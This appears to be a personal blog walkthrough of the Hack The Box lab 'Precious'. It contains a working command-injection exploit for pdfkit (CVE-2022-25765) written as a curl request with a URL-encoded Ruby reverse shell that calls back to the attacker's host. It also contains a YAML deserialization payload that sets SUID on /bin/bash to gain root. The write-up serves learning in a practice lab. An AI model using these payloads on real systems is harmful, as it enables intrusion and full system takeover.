HTB – Precious Walkthrough

A picture of a gem.

I was hesitant at first to do a write-up on this lab as it kicked my butt. It was a good lab and I enjoyed it but as usual, I overlooked some crucial information that could’ve cut down the time spent on it by a significant amount.

This lab will cover some interesting topics including Command Injection (which I’m still terrible at) and privilege escalation (which I’m also terrible at).

As usual, you can read my original notes here. They’re a mess but I’d prefer to keep this write-up short to how to complete it instead of how I completed it.

So let’s get started.

Recon

As always, it is good to get a sense of the land and as always, I’ll rely heavily on NMAP to walk me through it.

I started with a basic NMAP scan to see which ports were open.

nmap [TARGET IP]

With two ports open, let’s go ahead and run a more detailed NMAP scan to get a better sense of what we are dealing with.

nmap -A -p 22,80 [TARGET IP]

Not a whole lot of relevant information here but it has told us the OS is Linux which can be useful information in any pentest.

Port 22 is a typical service for SSH so I’ll ignore that for now. Generally, I’ve found that HTB machines don’t rely on breaking in through SSH as much and keep the port open for possible persistence if credentials are found.

In that case, let’s go check out what’s on port 80 with our web browser.

If you try visiting the IP address directly with http://[TARGET IP], you’ll get redirected to a URL specified precious.htb and get an error page.

It’s important to remember to add the IP and redirected URL address to your system’s /etc/hosts file. You can use the following to do this easily.

echo "[TARGET IP] precious.htb" | sudo tee -a /etc/hosts

After doing this, you should now be able to view the webpage from the TARGET IP address.

It appears to be a simple website that does some backend workings to convert a webpage into a PDF file. With that, let’s go ahead and jump over to the next stage of operations.

Enumeration

So what can we do with all of this information?

Well, if you’re me, you spent way too much time looking over the source page, checking for other directories with GOBUSTER, and attempting to upload different files to the webpage to see what gets sent back. I spent a lot of time on that last part.

None of this unfortunately got me anywhere so I had to jump over to the forums to see if I could get a hint. I hate getting hints but after a couple of hours, I don’t mind admitting defeat and taking a clue.

I really kicked myself this time though as the hint should have been obvious.

“Look harder at the PDF files”.

We’re probably back in the Recon Stage at this point but I’ll try to keep this somewhat organized. After playing around with the webpage for a while, I had a PDF file on hand that it created. I decided to run it through EXIFTOOL.

exiftool [PATH TO PDF FILE]

The key information in all of this is “Generated by pdfkit v0.8.6“.

Exploitation

I now had a piece of information I could run with. I knew the backend web server was running a tool that turned HTML web pages into PDF files. I went to go look and see if there was a possible exploit to this tool and came across a known exploit CVE-2022-25765.

This exploit allows for Command Injection in the URL. This means that it is possible to exploit commands on the server side through the URL itself if they are not being sanitized.

Based on some experimentation of uploading different file types to the website, I found that it would turn almost anything into a PDF except for PHP and Ruby file extensions. This was a pretty good indication of what language the backend server was running.

After some more googling, I found a GitHub page with a PoC to exploit this vulnerability and gain a reverse shell with a Ruby payload.

Let’s first start up a NETCAT listener on our host machine.

nc -lvnp 4444

Next, I grabbed that code snippet from the GitHub link above and modified it to meet my needs.

curl '[TARGET URL]' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: [TARGET URL]' -H 'Connection: keep-alive' -H 'Referer: [TARGET URL]' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F[HOST IP]%3A[HOST PORT]%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22[HOST IP]%22%2C[HOST PORT]%29%29%27%60'

Keep in mind that TARGET URL in this instance should be precious.htb.

This is just a simple curl command to the TARGET URL specifying the command injection. This command injection is a data packet with a URL-encoded reverse shell written in Ruby. Once we have plugged that in, we can check back with the NETCAT listener we set up and should now have a reverse connection established with the TARGET MACHINE.

I next started up a more interactive shell with the machine using Python.

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
^Z

The ^Z will background the process. We will then reopen a shell that blocks out the echo and pulls the process back to the foreground.

stty raw -echo; fg

We now have a fully interactive shell with the user ruby. Let’s go find the user flag. I always like spending some time exploring the target machine and don’t mind digging around for the flag the hard way but if you want to save some time, you can run the following to locate the file easily.

find / -name user.txt 2>/dev/null

Once you find the file, you’ll also find that ruby does not have permission to read the file. Therefore, we need to spend some time exploring the system for means to escalate our privileges.

Privilege Escalation

If you spend some time browsing through the accessible files, you’ll come across a file located in the /home/ruby/.bundle/config. I’ll leave it there but you should be able to locate the login credentials for henry in there.

Now that we have another set of credentials, let’s drop this interactive shell and jump over to the SSH service, and log in there.

ssh henry@[TARGET IP]

Now that we have access to henry, we can go and grab the user.txt flag we previously found.

The user henry can do a lot but unfortunately, they cannot access the root directory which is most likely the location of the root flag.

So let’s see what we can do. I’ll start with some basic checklist items to see what privileges I do have.

sudo -l

It looks like we can run the /opt/update_dependencies.rb file as sudo. Checking that file out shows that it calls back to a dependencies.yml file. If you try running the file as sudo, it will actually error out as it will look in the current directory you are in for the dependencies.yml file.

This will be our way in. We can craft a new dependencies.yml file and the /opt/update_dependencies.rb file will call back to it and execute it as sudo.

Ruby is not a language I am very familiar with unfortunately and I’m by no means an expert with YAML files either so I had to go out and Google for some help. I found a great article that went over this type of vulnerability which is referred to as YAML Deserialization.

That article gives us a great code snippet that we can plug into our newly created dependencies.yml file.

 ---
 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
   requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: sleep 600
          method_id: :resolve 

Unfortunately, this alone will not allow us access to the system. If you notice, the git_set line of the code is set to put the system to sleep for 600 seconds.

We will instead modify this command to change file permissions to the /bin/bash file and allow for SUID privileges.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "chmod +s /bin/bash"
         method_id: :resolve

With the modified file, we will be able to create a new file called dependencies.yml with nano. I would recommend creating this file in the henry directory that we have permissions to modify. Now execute the update_dependencies.rb file.

sudo /usr/bin/ruby /opt/update_dependencies.rb

Remember to run this command in the directory that you have created the dependencies.yml file in or it will not work.

If you run the sudo -l command again, the user henry should now have SUID privileges to the /bin/bash file.

With this information let’s go check out GTFOBins to see if there are any means to privilege escalation.

/bin/bash -p

Now run the whoami command and you should be root. With this in hand, you should be able to locate the root flag yourself.

Conclusion

I can tell I am getting better but more often than not, I get slapped down by some of these labs. This is lab #3 in a row that has done this to me.

I try not to let it hit me too hard as I am learning more and more but it’s hard at times not to get discouraged. I’m taking a break today from labs to do some HTB Academy modules and write this up. I’ll hit the labs again next week and just keep tackling them one by one.

I hope this write-up has helped you in some way if you are reading it. If you have any questions or concerns please feel free to let me know.

As always, thanks for reading and catch you all later.

-sgtdiddlywink

Leave a Reply

Your email address will not be published. Required fields are marked *